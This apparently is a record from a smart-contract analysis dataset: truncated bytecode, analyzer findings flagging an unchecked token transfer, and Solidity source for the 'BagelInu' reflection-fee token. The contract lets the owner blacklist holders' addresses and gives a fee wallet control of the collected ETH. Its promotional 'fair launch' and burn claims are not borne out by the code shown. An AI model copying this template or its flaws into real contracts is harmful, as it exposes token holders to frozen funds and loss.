576040805162461bcd60e51b81526020600482015260076024820152661a5b9d985b1a5960ca1b604482015290519081900360640190fd5b336000818152600260209081526040808320805490849055600154825163a9059cbb60e01b8152600481019690965260248601829052915190946001600160a01b039092169363a9059cbb93604480850194919392918390030190829087803b15801561034857600080fd5b505af115801561035c573d6000803e3d6000fd5b505050506040513d602081101561037257600080fd5b50506000805460ff60a01b1916905550565b61038c610627565b6000546001600160a01b039081169116146103dc576040805162461bcd60e51b815260206004820181905260248201526000805160206106e0833981519152604482015290519081900360640190fd5b60005b82518110156104fe578181815181106103f457fe5b60200260200101516002600085848151811061040c57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550600160009054906101000a90046001600160a01b03166001600160a01b031663095ea7b384838151811061046857fe5b602002602001015184848151811061047c57fe5b60200260200101516040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156104ca57600080fd5b505af11580156104de573d6000803e3d6000fd5b505050506040513d60208110156104f457600080fd5b50506001016103df565b505050565b61050b610627565b6000546001600160a01b0390811691161461055b576040805162461bcd60e51b815260206004820181905260248201526000805160206106e0833981519152604482015290519081900360640190fd5b600080546040516001600160a01b0390911690600080516020610700833981519152908390a3600080546001600160a01b0319169055565b60026020526000908152604090205481565b6000546001600160a01b031690565b6001546001600160a01b031681565b6105cb610627565b6000546001600160a01b0390811691161461061b576040805162461bcd60e51b815260206004820181905260248201526000805160206106e0833981519152604482015290519081900360640190fd5b6106248161062b565b50565b3390565b6001600160a01b0381166106705760405162461bcd60e51b81526004018080602001828103825260268152602001806106ba6026913960400191505060405180910390fd5b600080546040516001600160a01b038085169392169160008051602061070083398151915291a3600080546001600160a01b0319166001600160a01b039290921691909117905556fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65728be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0a26469706673582212207786a2ab47f7411b6fb5391fd0daa71d637c608954ab616ee69e8184e29c6f9a64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,024 |
0xd0a6fc084f4f54403499b715363abfab1a1438ae
|
/*
100,000,000,000 Total Supply
20% tokens burned, 80% to LP - no team tokens or presale tokens!
Fair launch
5% redistribution to holders
5% dev fee split within the team
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BagelInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "BagelInu";
string private constant _symbol = 'BAGELINU';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612c70565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906127df565b61042a565b60405161016d9190612c55565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612df2565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612790565b610459565b6040516101d59190612c55565b60405180910390f35b3480156101ea57600080fd5b5061020560048036038101906102009190612702565b610532565b005b34801561021357600080fd5b5061021c610622565b6040516102299190612e67565b60405180910390f35b34801561023e57600080fd5b506102596004803603810190610254919061285c565b61062b565b005b34801561026757600080fd5b506102706106dd565b005b34801561027e57600080fd5b5061029960048036038101906102949190612702565b61074f565b6040516102a69190612df2565b60405180910390f35b3480156102bb57600080fd5b506102c46107a0565b005b3480156102d257600080fd5b506102db6108f3565b6040516102e89190612b87565b60405180910390f35b3480156102fd57600080fd5b5061030661091c565b6040516103139190612c70565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906127df565b610959565b6040516103509190612c55565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b919061281b565b610977565b005b34801561038e57600080fd5b50610397610ac7565b005b3480156103a557600080fd5b506103ae610b41565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612754565b611073565b6040516103e49190612df2565b60405180910390f35b60606040518060400160405280600881526020017f426167656c496e75000000000000000000000000000000000000000000000000815250905090565b600061043e6104376110fa565b8484611102565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104668484846112cd565b610527846104726110fa565b6105228560405180606001604052806028815260200161350260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d86110fa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8c9092919063ffffffff16565b611102565b600190509392505050565b61053a6110fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105be90612d32565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106336110fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b790612d32565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661071e6110fa565b73ffffffffffffffffffffffffffffffffffffffff161461073e57600080fd5b600047905061074c81611af0565b50565b6000610799600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5c565b9050919050565b6107a86110fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082c90612d32565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f424147454c494e55000000000000000000000000000000000000000000000000815250905090565b600061096d6109666110fa565b84846112cd565b6001905092915050565b61097f6110fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390612d32565b60405180910390fd5b60005b8151811015610ac357600160066000848481518110610a57577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610abb90613108565b915050610a0f565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b086110fa565b73ffffffffffffffffffffffffffffffffffffffff1614610b2857600080fd5b6000610b333061074f565b9050610b3e81611bca565b50565b610b496110fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcd90612d32565b60405180910390fd5b601060149054906101000a900460ff1615610c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1d90612db2565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cb630600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611102565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cfc57600080fd5b505afa158015610d10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d34919061272b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d9657600080fd5b505afa158015610daa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dce919061272b565b6040518363ffffffff1660e01b8152600401610deb929190612ba2565b602060405180830381600087803b158015610e0557600080fd5b505af1158015610e19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3d919061272b565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ec63061074f565b600080610ed16108f3565b426040518863ffffffff1660e01b8152600401610ef396959493929190612bf4565b6060604051808303818588803b158015610f0c57600080fd5b505af1158015610f20573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f4591906128ae565b5050506001601060166101000a81548160ff0219169083151502179055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161101d929190612bcb565b602060405180830381600087803b15801561103757600080fd5b505af115801561104b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106f9190612885565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611172576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116990612d92565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d990612cd2565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112c09190612df2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561133d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133490612d72565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a490612c92565b60405180910390fd5b600081116113f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e790612d52565b60405180910390fd5b6113f86108f3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561146657506114366108f3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119c957601060179054906101000a900460ff1615611699573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114e857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115425750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561159c5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561169857600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115e26110fa565b73ffffffffffffffffffffffffffffffffffffffff1614806116585750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116406110fa565b73ffffffffffffffffffffffffffffffffffffffff16145b611697576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168e90612dd2565b60405180910390fd5b5b5b6011548111156116a857600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561174c5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61175557600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118005750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118565750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561186e5750601060179054906101000a900460ff165b1561190f5742600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106118be57600080fd5b601e426118cb9190612f28565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061191a3061074f565b9050601060159054906101000a900460ff161580156119875750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561199f5750601060169054906101000a900460ff165b156119c7576119ad81611bca565b600047905060008111156119c5576119c447611af0565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611a705750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611a7a57600090505b611a8684848484611ec4565b50505050565b6000838311158290611ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acb9190612c70565b60405180910390fd5b5060008385611ae39190613009565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b58573d6000803e3d6000fd5b5050565b6000600854821115611ba3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9a90612cb2565b60405180910390fd5b6000611bad611ef1565b9050611bc28184611f1c90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c28577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611c565781602001602082028036833780820191505090505b5090503081600081518110611c94577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d3657600080fd5b505afa158015611d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d6e919061272b565b81600181518110611da8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e0f30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611102565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e73959493929190612e0d565b600060405180830381600087803b158015611e8d57600080fd5b505af1158015611ea1573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b80611ed257611ed1611f66565b5b611edd848484611fa9565b80611eeb57611eea612174565b5b50505050565b6000806000611efe612188565b91509150611f158183611f1c90919063ffffffff16565b9250505090565b6000611f5e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121ea565b905092915050565b6000600a54148015611f7a57506000600b54145b15611f8457611fa7565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b600080600080600080611fbb8761224d565b95509550955095509550955061201986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120ae85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122ff90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120fa8161235d565b612104848361241a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121619190612df2565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506121be683635c9adc5dea00000600854611f1c90919063ffffffff16565b8210156121dd57600854683635c9adc5dea000009350935050506121e6565b81819350935050505b9091565b60008083118290612231576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122289190612c70565b60405180910390fd5b50600083856122409190612f7e565b9050809150509392505050565b600080600080600080600080600061226a8a600a54600b54612454565b925092509250600061227a611ef1565b9050600080600061228d8e8787876124ea565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006122f783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a8c565b905092915050565b600080828461230e9190612f28565b905083811015612353576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234a90612cf2565b60405180910390fd5b8091505092915050565b6000612367611ef1565b9050600061237e828461257390919063ffffffff16565b90506123d281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122ff90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61242f826008546122b590919063ffffffff16565b60088190555061244a816009546122ff90919063ffffffff16565b6009819055505050565b6000806000806124806064612472888a61257390919063ffffffff16565b611f1c90919063ffffffff16565b905060006124aa606461249c888b61257390919063ffffffff16565b611f1c90919063ffffffff16565b905060006124d3826124c5858c6122b590919063ffffffff16565b6122b590919063fff